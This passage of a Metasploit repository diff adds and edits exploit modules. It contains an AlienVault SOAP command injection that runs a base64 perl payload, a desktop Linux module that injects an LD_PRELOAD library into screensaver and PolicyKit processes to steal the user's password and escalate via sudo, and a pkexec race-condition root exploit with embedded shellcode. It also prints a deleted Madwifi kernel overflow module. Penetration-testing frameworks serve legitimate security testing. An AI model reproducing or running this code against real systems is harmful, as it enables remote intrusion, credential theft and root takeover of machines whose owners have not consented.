+ 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + #'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied + 'Compat' => { + 'RequiredCmd' => 'perl netcat-e openssl python gawk' + } + }, + 'DefaultOptions' => + { + 'SSL' => true + }, + 'Targets' => + [ + [ 'AlienVault <= 4.6.1', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 5 2014')) + + register_options( + [ + Opt::RPORT(40007) + ], self.class) + end + + def check + version = "" + res = send_soap_request("get_dpkg") + + if res && + res.code == 200 && + res.headers['SOAPServer'] && + res.headers['SOAPServer'] =~ /SOAP::Lite/ && + res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/ + + version = $1 + end + + if version.empty? || version >= "4.7.0" + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Appears + end + end + + def exploit + send_soap_request("update_system_info_debian_package", 1) + end + + def build_soap_request(method) + xml = Document.new + xml.add_element( + "soap:Envelope", + { + 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", + 'xmlns:soapenc' => "http://schemas.xmlsoap.org/soap/encoding/", + 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", + 'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/", + 'xmlns:soap' => "http://schemas.xmlsoap.org/soap/envelope/" + }) + body = xml.root.add_element("soap:Body") + m = body.add_element( + method, + { + 'xmlns' => "AV/CC/Util" + }) + args = [] + args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'}) + args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'}) + args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'}) + args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'}) + (0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) } + + if method == "update_system_info_debian_package" + args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'}) + perl_payload = "system(decode_base64" + perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))" + args[4].text = "#{rand_text_alpha(4 + rand(4))}" + args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'" + end + + xml.to_s + end + + def send_soap_request(method, timeout = 20) + soap = build_soap_request(method) + + res = send_request_cgi({ + 'uri' => '/av-centerd', + 'method' => 'POST', + 'ctype' => 'text/xml; charset=UTF-8', + 'data' => soap, + 'headers' => { + 'SOAPAction' => "\"AV/CC/Util##{method}\"" + } + }, timeout) + + res + end + +end diff --git a/modules/exploits/linux/ids/snortbopre.rb b/modules/exploits/linux/ids/snortbopre.rb index 3fe23de2e7..efeb083fc5 100644 --- a/modules/exploits/linux/ids/snortbopre.rb +++ b/modules/exploits/linux/ids/snortbopre.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote be used to completely compromise a Snort sensor, and would typically gain an attacker full root or administrative privileges. }, - 'Author' => 'KaiJern Lau ', + 'Author' => 'KaiJern Lau ', 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/linux/imap/imap_uw_lsub.rb b/modules/exploits/linux/imap/imap_uw_lsub.rb index 54902a92d6..a8eb39a855 100644 --- a/modules/exploits/linux/imap/imap_uw_lsub.rb +++ b/modules/exploits/linux/imap/imap_uw_lsub.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/desktop_privilege_escalation.rb b/modules/exploits/linux/local/desktop_privilege_escalation.rb new file mode 100644 index 0000000000..356a82aa50 --- /dev/null +++ b/modules/exploits/linux/local/desktop_privilege_escalation.rb @@ -0,0 +1,237 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/exploit/exe' +require 'base64' +require 'metasm' + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + include Msf::Exploit::EXE + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Desktop Linux Password Stealer and Privilege Escalation', + 'Description' => %q{ + This module steals the user password of an administrative user on a desktop Linux system + when it is entered for unlocking the screen or for doing administrative actions using + PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password. + It exploits the design weakness that there is no trusted channel for transferring the + password from the keyboard to the actual password verificatition against the shadow file + (which is running as root since /etc/shadow is only readable to the root user). Both + screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under + the current user account to query for the password and then pass it to a setuid-root binary + to do the password verification. Therefore, it is possible to inject a password stealer + after compromising the user account. Since sudo requires only the user password (and not + the root password of the system), stealing the user password of an administrative user + directly allows escalating to root privileges. Please note, you have to start a handler + as a background job before running this exploit since the exploit will only create a shell + when the user actually enters the password (which may be hours after launching the exploit). + Using exploit/multi/handler with the option ExitOnSession set to false should do the job. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Jakob Lell'], + 'DisclosureDate' => 'Aug 7 2014', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X86_64], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Targets' => + [ + ['Linux x86', {'Arch' => ARCH_X86}], + ['Linux x86_64', {'Arch' => ARCH_X86_64}] + ], + 'DefaultOptions' => + { + 'PrependSetresuid' => true, + 'PrependFork' => true, + 'DisablePayloadHandler' => true + }, + 'DefaultTarget' => 0, + } + )) + + register_options([ + OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']), + ], self.class) + end + + def check + check_command = 'if which perl && ' + check_command << 'which sudo && ' + check_command << 'id|grep -E \'sudo|adm\' && ' + check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;' + check_command << 'then echo OK;' + check_command << 'fi' + + output = cmd_exec(check_command).gsub("\r", '') + + vprint_status(output) + + if output['OK'] == 'OK' + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end + + def exploit + # Cannot use generic/shell_reverse_tcp inside an elf + # Checking before proceeds + pl = generate_payload_exe + if pl.blank? + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload") + end + + exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf" + + print_status("Writing payload executable to '#{exe_file}'") + write_file(exe_file, pl) + cmd_exec("chmod +x #{exe_file}") + + + cpu = nil + if target['Arch'] == ARCH_X86 + cpu = Metasm::Ia32.new + elsif target['Arch'] == ARCH_X86_64 + cpu = Metasm::X86_64.new + end + lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib) + lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so" + + print_status("Writing lib file to '#{lib_file}'") + write_file(lib_file,lib_data) + + print_status('Restarting processes (screensaver/policykit)') + restart_commands = get_restart_commands + restart_commands.each do |cmd| + cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file + cmd_exec(cmd) + end + print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.') + end + + def get_restart_commands + get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|' + get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";' + get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";' + get_cmd_lines << '$/=undef;' + get_cmd_lines << 'for("cmdline","environ"){open F,"),"\n";}}\'' + + text_output = cmd_exec(get_cmd_lines).gsub("\r",'') + vprint_status(text_output) + + lines = text_output.split("\n") + + restart_commands = [] + i=0 + while i < lines.length - 3 + m = lines[i].match(/^PID:(\d+)/) + + if m + pid = m[1] + vprint_status("PID=#{pid}") + print_status("Found process: " + lines[i+1]) + + exe = lines[i+1].match(/^EXE:(\S+)$/)[1] + vprint_status("exe=#{exe}") + + cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00") + vprint_status("CMDLINE=" + cmdline.join(' XXX ')) + + env = lines[i+3].match(/^environ:(\w+)$/)[1] + restart_command = 'perl -e \'use POSIX setsid;open STDIN,"/dev/null";open STDERR,">/dev/null";exit if fork;setsid();' + restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}' + restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\'' + + vprint_status("RESTART: #{restart_command}") + restart_commands.push(restart_command) + end + + i+=1 + end + + restart_commands + end + + def c_code(exe_file) + c = %Q| +// A few constants/function definitions/structs copied from header files +#define RTLD_NEXT ((void *) -1l) +extern uintptr_t dlsym(uintptr_t, char*); +// Define some structs to void so that we can ignore all dependencies from these structs +#define FILE void +#define pam_handle_t void +extern FILE *popen(const char *command, const char *type); +extern int pclose(FILE *stream); +extern int fprintf(FILE *stream, const char *format, ...); +extern char *strstr(const char *haystack, const char *needle); +extern void *malloc(unsigned int size); + +struct pam_message { + int msg_style; + const char *msg; + }; + +struct pam_response { + char *resp; + int resp_retcode; +}; + +struct pam_conv { + int (*conv)(int num_msg, const struct pam_message **msg, + struct pam_response **resp, void *appdata_ptr); + void *appdata_ptr; +}; + +void run_sudo(char* password) { + FILE* sudo = popen("sudo -S #{exe_file}", "w"); + fprintf(sudo,"%s\\n",password); + pclose(sudo); +} + +int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) { + struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr; + int i; + int passwd_index = -1; + for(i=0;imsg,"Password") >= 0){ + passwd_index = i; + } + } + int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr); + if(passwd_index >= 0){ + run_sudo(resp[passwd_index]->resp); + } + return result; +} + +int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) { + static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh); + if(!orig_pam_start){ + orig_pam_start = dlsym(RTLD_NEXT,"pam_start"); + } + struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv)); + my_pam_conversation->conv = &my_conv; + my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation; + return orig_pam_start(service_name, user, my_pam_conversation, pamh); +} + +void polkit_agent_session_response (void *session, char *response) __attribute__((export)) { + static void *(*orig_polkit_agent_session_response)(void *session, char* response); + if(!orig_polkit_agent_session_response){ + orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response"); + } + run_sudo(response); + orig_polkit_agent_session_response(session, response); + return; +} +| + c + end +end + diff --git a/modules/exploits/linux/local/hp_smhstart.rb b/modules/exploits/linux/local/hp_smhstart.rb index 1bfc4d5472..b6a739210f 100644 --- a/modules/exploits/linux/local/hp_smhstart.rb +++ b/modules/exploits/linux/local/hp_smhstart.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/kloxo_lxsuexec.rb b/modules/exploits/linux/local/kloxo_lxsuexec.rb index ccbd2f44eb..b9f5606758 100644 --- a/modules/exploits/linux/local/kloxo_lxsuexec.rb +++ b/modules/exploits/linux/local/kloxo_lxsuexec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/pkexec.rb b/modules/exploits/linux/local/pkexec.rb new file mode 100644 index 0000000000..77e4e6c85c --- /dev/null +++ b/modules/exploits/linux/local/pkexec.rb @@ -0,0 +1,360 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# +# Project +# + +require 'msf/core/exploit/local/linux' + +class Metasploit4 < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Exploit::EXE + include Msf::Post::File + + include Msf::Exploit::Local::Linux + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux PolicyKit Race Condition Privilege Escalation', + 'Description' => %q( + A race condition flaw was found in the PolicyKit pkexec utility and polkitd + daemon. A local user could use this flaw to appear as a privileged user to + pkexec, allowing them to execute arbitrary commands as root by running + those commands with pkexec. + + Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu + libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1 + (10.04 LTS) and 0.94-1ubuntu1.1 (9.10) + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xi4oyu', # exploit + '0a29406d9794e4f9b30b3c5d6702c708' # metasploit module + ], + 'Platform' => [ 'linux'], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], + [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'DefaultTarget' => 0, + 'References' => + [ + [ 'CVE', '2011-1485' ], + [ 'EDB', '17942' ], + [ 'OSVDB', '72261' ] + ], + 'DisclosureDate' => "Apr 01 2011" + )) + register_options([ + OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), + OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]), + OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]), + OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]) + ]) + end + + def executable_path + @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + @executable_path + end + + def exploit + main = %q^ +/* +* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit +* Author: xi4oyu +* Tested on: rhel 6 +* CVE : 2011-1485 +* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~ +* U can reach us @ http://www.wooyun.org :) +* 0a2940: some changes +*/ +/* +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +*/ + +#define dprintf + +#define NULL ((void*)0) + +#define MAP_PRIVATE 0x02 +#define MAP_FIXED 0x10 +#define MAP_ANONYMOUS 0x20 +#define MAP_ANON MAP_ANONYMOUS +#define MAP_FAILED ((void *)-1) + +#define PROT_READ 0x1 +#define PROT_WRITE 0x2 +#define PROT_EXEC 0x4 + +#define O_CREAT 64 +#define O_RDWR 2 + +#define POLLRDNORM 0x0040 + +typedef int __pid_t; +typedef int __time_t; +typedef +struct { + long __val[2]; +} __quad_t; +typedef __quad_t __dev_t; +typedef long __ino_t; +typedef unsigned long __mode_t; +typedef long __nlink_t; +typedef unsigned int __uid_t; +typedef unsigned int __gid_t; +typedef long long __off_t; +typedef long __blksize_t; +typedef long long __blkcnt_t; +struct _stat_buff { + __dev_t st_dev; /* Device. */ + unsigned short int __pad1; + __ino_t st_ino; /* File serial number. */ + __mode_t st_mode; /* File mode. */ + __nlink_t st_nlink; /* Link count. */ + __uid_t st_uid; /* User ID of the file's owner. */ + __gid_t st_gid; /* Group ID of the file's group.*/ + __dev_t st_rdev; /* Device number, if device. */ + unsigned short int __pad2; + __off_t st_size; /* Size of file, in bytes. */ + __blksize_t st_blksize; /* Optimal block size for I/O. */ + __blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */ + __time_t st_atime; /* Time of last access. */ + unsigned long int st_atimensec; /* Nscecs of last access. */ + __time_t st_mtime; /* Time of last modification. */ + unsigned long int st_mtimensec; /* Nsecs of last modification. */ + __time_t st_ctime; /* Time of last status change. */ + unsigned long int st_ctimensec; /* Nsecs of last status change. */ + unsigned long int __unused4; + unsigned long int __unused5; +}; + +struct _pollfd { + int fd; /* file descriptor */ + short events; /* requested events */ + short revents; /* returned events */ +}; +typedef unsigned long size_t; +extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset); +extern int mprotect(void *__addr, size_t __len, int __prot); +extern void exit(int __status); +extern int printf(const char *__format, ...); +extern __pid_t fork(void); +extern __time_t time(__time_t *t); +extern __pid_t getpid(void); +extern __uid_t geteuid(void); +extern void srand(unsigned int seed); +extern int snprintf(char *str, size_t size, const char *format, ...); +extern int pipe(int pipefd[2]); +extern int close(int fd); +extern void write(int fd, const void *buf, size_t count); +extern int dup2(int oldfd, int newfd); +extern void perror(const char *__s); +extern void read(int fd, void *buf, size_t count); +extern int execve(const char *filename, char *const argv[], char *const envp); +extern int usleep(int usec); +extern void *memset(void *s, int c, size_t n); +extern void *memcpy(void * dst, const void *src, size_t n); +extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout); +extern char *strstr(const char *haystack, const char *needle); +extern int rand(void); +extern int unlink(const char *__name); + +int main(int argc,char *argv[], char ** envp) +{ + + __time_t tim_seed1; + __pid_t pid_seed2; + int result; + struct _stat_buff stat_buff; + + char * chfn_path = "/usr/bin/chfn"; + char * cmd_path = ""; + + char * pkexec_argv[] = { + "/usr/bin/pkexec", + "/bin/sh", + "-c", + cmd_path, + NULL + }; + int pipe1[2]; + int pipe2[2]; + int pipe3[2]; + __pid_t pid,pid2 ; + char * chfn_argv[] = { + "/usr/bin/chfn", + NULL + }; + + char buff[8]; + char read_buff[4096]; + char real_path[512]; + + int count = 0; + int flag = 0; + unsigned int usleep1 = 0; + unsigned int usleep2 = 0; + + tim_seed1 = time(NULL); + pid_seed2 = getpid(); + srand(tim_seed1+pid_seed2); + + if(!geteuid()){ + + unlink(cmd_path); + + SHELLCODE + + int shellcode_size = 0; + int i; + unsigned long (*func)(); + func = mmap(NULL, 0x1000, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_PRIVATE | MAP_ANONYMOUS, + 0, 0 + ); + mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); + dprintf("Copying %d bytes of shellcode\n", shellcode_size); + //for (i = 0; i < shellcode_size; i++) { + //(char)func[i] = (char)shellcode[i]; + memcpy(func,shellcode,shellcode_size); + //} + dprintf("Forking before calling shellcode: 0x%p\n", func); + if (fork()) { + exit(0); + } + func(); + } + + if(pipe(pipe1)){ + perror("pipe"); + exit(-2); + } + + for(count = COUNT; count && !flag; count--){ + dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2); + pid = fork(); + if( !pid ){ + // Parent + if( !pipe(pipe2)){ + if(!pipe(pipe3)){ + pid2 = fork(); + if(!pid2){ + // Parent 2 + close(1); + close(2); + close(pipe1[0]); + dup2(pipe1[1],2); + dup2(pipe1[1],1); + close(pipe1[1]); + close(pipe2[0]); + close(pipe3[1]); + write(pipe2[1],"\xFF",1); + read(pipe3[0],&buff,1); + execve(pkexec_argv[0],pkexec_argv,envp); + perror("execve pkexec"); + exit(-3); + } + close(0); + close(1); + close(2); + close(pipe2[1]); + close(pipe3[0]); + read(pipe2[0],&buff,1); + write(pipe3[1],"\xFF",1); + usleep(usleep1+usleep2); + execve(chfn_argv[0],chfn_argv,envp); + perror("execve setuid"); + exit(1); + } + } + perror("pipe3"); + exit(1); + } + + //Note: This is child, no pipe3 we use poll to monitor pipe1[0] + memset(pipe3,0,8); + + struct _pollfd * pollfd = (struct pollfd *)(&pipe3); + pollfd->fd = pipe1[0]; + pollfd->events = POLLRDNORM; + + if(poll(pollfd,1,1000) < 0){ + perror("poll"); + exit(1); + } + + if(pollfd->revents & POLLRDNORM ){ + memset(read_buff,0,4096); + read(pipe1[0],read_buff,4095); + if( strstr(read_buff,"does not match")){ + usleep1 += 100; + usleep2 = rand() % 1000; + }else{ + if(usleep1 > 0){ + usleep1 -= 100; + } + } + } + } + result = 0; + unlink(cmd_path); + return result; +} + +^ + main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode")) + main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") + main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"") + main.gsub!(/COUNT/, datastore["Count"].to_s) + main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG'] + + cpu = nil + if target['Arch'] == ARCH_X86 + cpu = Metasm::Ia32.new + elsif target['Arch'] == ARCH_X86_64 + cpu = Metasm::X86_64.new + end + + begin + elf = Metasm::ELF.compile_c(cpu, main).encode_string + rescue + print_error "Metasm Encoding failed: #{$ERROR_INFO}" + elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" + elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}" + return + end + + print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)" + rm_f executable_path + write_file(executable_path, elf) + output = cmd_exec("chmod +x #{executable_path}; #{executable_path}") + output.each_line { |line| print_debug line.chomp } + + stime = Time.now.to_f + print_status "Starting the payload handler..." + until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f + Rex.sleep(1) + end + end +end diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 090c3b641c..10348f2fc7 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb index 8c55d1c094..655f0c719e 100644 --- a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb +++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/udev_netlink.rb b/modules/exploits/linux/local/udev_netlink.rb index de92dac21a..e9830d13ba 100644 --- a/modules/exploits/linux/local/udev_netlink.rb +++ b/modules/exploits/linux/local/udev_netlink.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index 2da364dce3..93cb8106d5 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -53,6 +53,9 @@ class Metasploit4 < Msf::Exploit::Local 'DisclosureDate' => "Aug 22 2013" } )) + register_options([ + OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]), + ], self.class) end def check @@ -64,17 +67,18 @@ class Metasploit4 < Msf::Exploit::Local end def exploit - unless check == CheckCode::Vulnerable + unless check == CheckCode::Appears fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid") end - write_file("lsb_release", generate_payload_exe) - - cmd_exec("chmod +x lsb_release") - cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount") + lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release') + write_file(lsb_path, generate_payload_exe) + cmd_exec("chmod +x #{lsb_path}") + cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount") # Delete it here instead of using FileDropper because the original # session can clean it up - cmd_exec("rm -f lsb_release") + cmd_exec("rm -f #{lsb_path}") + end def setuid?(remote_file) diff --git a/modules/exploits/linux/local/zpanel_zsudo.rb b/modules/exploits/linux/local/zpanel_zsudo.rb index f5e2792116..7a00c6d689 100644 --- a/modules/exploits/linux/local/zpanel_zsudo.rb +++ b/modules/exploits/linux/local/zpanel_zsudo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/madwifi/madwifi_giwscan_cb.rb b/modules/exploits/linux/madwifi/madwifi_giwscan_cb.rb deleted file mode 100644 index f75f54a916..0000000000 --- a/modules/exploits/linux/madwifi/madwifi_giwscan_cb.rb +++ /dev/null @@ -1,378 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -# Madwifi remote kernel exploit -# 100% reliable, doesn't crash wifi stack, can exploit -# same target multiple times -# -# Julien TINNES -# Laurent BUTTI <0x9090 at gmail.com> -# -# vuln in giwscan_cb, here's the path: -# -# ieee80211_ioctl_giwscan -> ieee80211_scan_iterate -> sta_iterate -> giwscan_cb -# - -require 'msf/core' -require 'metasm' - -class Metasploit3 < Msf::Exploit::Remote - Rank = AverageRanking - - include Msf::Exploit::Lorcon2 - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Madwifi SIOCGIWSCAN Buffer Overflow', - 'Description' => %q{ - The Madwifi driver under Linux is vulnerable to a remote kernel-mode - stack-based buffer overflow. - - The vulnerability is triggered by one of these properly crafted - information element: WPA, RSN, WME and Atheros OUI Current madwifi - driver (0.9.2) and and all madwifi-ng drivers since r1504 are - vulnerable - - Madwifi 0.9.2.1 release corrects the issue. - - This module has been tested against Ubuntu 6.10 and is 100% reliable, - doesn\'t crash the Wifi stack and can exploit the same machine multiple - time without the need to reboot it. - - This module depends on the Lorcon2 library and only works on the Linux - platform with a supported wireless card. Please see the Ruby Lorcon2 - documentation (external/ruby-lorcon/README) for more information. - }, - 'Author' => - [ - 'Julien Tinnes ', - 'Laurent Butti <0x9090 at gmail.com>' - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2006-6332'], - ['OSVDB', '31267'], - ['URL', 'http://www.madwifi.org'] - ], - #'Stance' => Msf::Exploit::Stance::Passive, - 'Platform' => 'linux', - 'Arch' => [ ARCH_X86 ], - 'Payload' => - { - #'Space' => 65, - # Metasploit doesn't support dynamic size payloads - # so we will handle this in metasm instead and ask for - # the smaller payload possible - #'Encoder' => Msf::Encoder::Type::Raw, - 'DisableNops' => true - }, - 'Targets' => - [ - [ 'Ubuntu 6.10', - { - 'JMPESP' => 0xffffe777, - 'scan_iterate_ra' => "0x8014401" - } - ], - - [ 'Generic (you need non randomized vdso)', - { - 'JMPESP' => 0xffffe777, - 'scan_iterate_ra' => nil - } - ] - ], - 'DisclosureDate' => 'Dec 08 2006' - )) - - register_options( - [ - OptBool.new('SINGLESHOT', [ true, "Break after first victim (for msfcli)", 'false']), - OptString.new('SSID', [ true, "The SSID of the emulated access point", 'test']), - OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 600]), - OptInt.new('LENGTH', [ true, "Length after local variables in giwscan_cb() to overwrite", 24]), - OptString.new('ADDR_DST', [ true, "The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']), - ], self.class) - end - - def exploit - open_wifi - - #puts "kikoo " + payload.encoded.inspect - #puts payload.encoded.to_s.unpack('C*').map { |i| i.to_s 16 }.join(',') - - stime = Time.now.to_i - rtime = datastore['RUNTIME'].to_i - count = 0 - - print_status("Shellcode size is: #{payload.encoded.length} bytes") - print_status("Creating malicious beacon frame...") - - frame = create_beacon() - - print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...") - - while (stime + rtime > Time.now.to_i) - wifi.write(frame) - select(nil, nil, nil, 0.10) if (count % 100 == 0) - count += 1 - break if session_created? and datastore['SINGLESHOT'] - end - - print_status("Completed sending #{count} beacons.") - end - - - def create_beacon - - ssid = datastore['SSID'].to_s - bssid = Rex::Text.rand_text(6) - channel = datastore['CHANNEL'].to_i - len = datastore['LENGTH'].to_i - seq = [rand(255)].pack('n') - jmpesp = target['JMPESP'] # jmp esp in vdso - - # address just after the call (in ieee80211_scan_iterate in wlan.ko) - scan_iterate_ra=target['scan_iterate_ra'] - - if scan_iterate_ra - howtoreturn = "RETURN_PROPERLY" # Return to the parent of giwscan_cb parent - else - howtoreturn = "RETURN_BADLY" # Return to userland with IRET - end - - bssiwlist = 0x0804ddd0 - - stacksize = "STACK_8K" - getregs = "CALCULATE" - #getregs = "IWANTTOSCANMANUALLY" - reg_cs = "0x73" - reg_ss = "0x7b" - - wiframe = Metasm::Shellcode.assemble Metasm::Ia32.new, <(('172.24.94.252'.split('.').reverse.inject(0) { |ip, byte| (ip << 8) | byte.to_i }) ^ 0xffffffff) - - #puts value[-10..-1].unpack('C*').map { |i| i.to_s 16 }.join(',') - - if (len == 24 and value.length != 198) - fail_with(Failure::BadConfig, "Value is too big! #{value.length}") - end - - buf = "\xdd" + value.length.chr + value - - frame = - "\x80" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - "\x64\x00" + # beacon interval - "\x01\x00" + # capabilities - - # ssid IE - "\x00" + ssid.length.chr + ssid + - - # supported rates IE - "\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" + - - # channel IE - "\x03" + "\x01" + channel.chr + - - # invalid wpa IE buffer overflow - # wpa ie is an example, still valid for other IEs - buf - - return frame - end - -end diff --git a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb 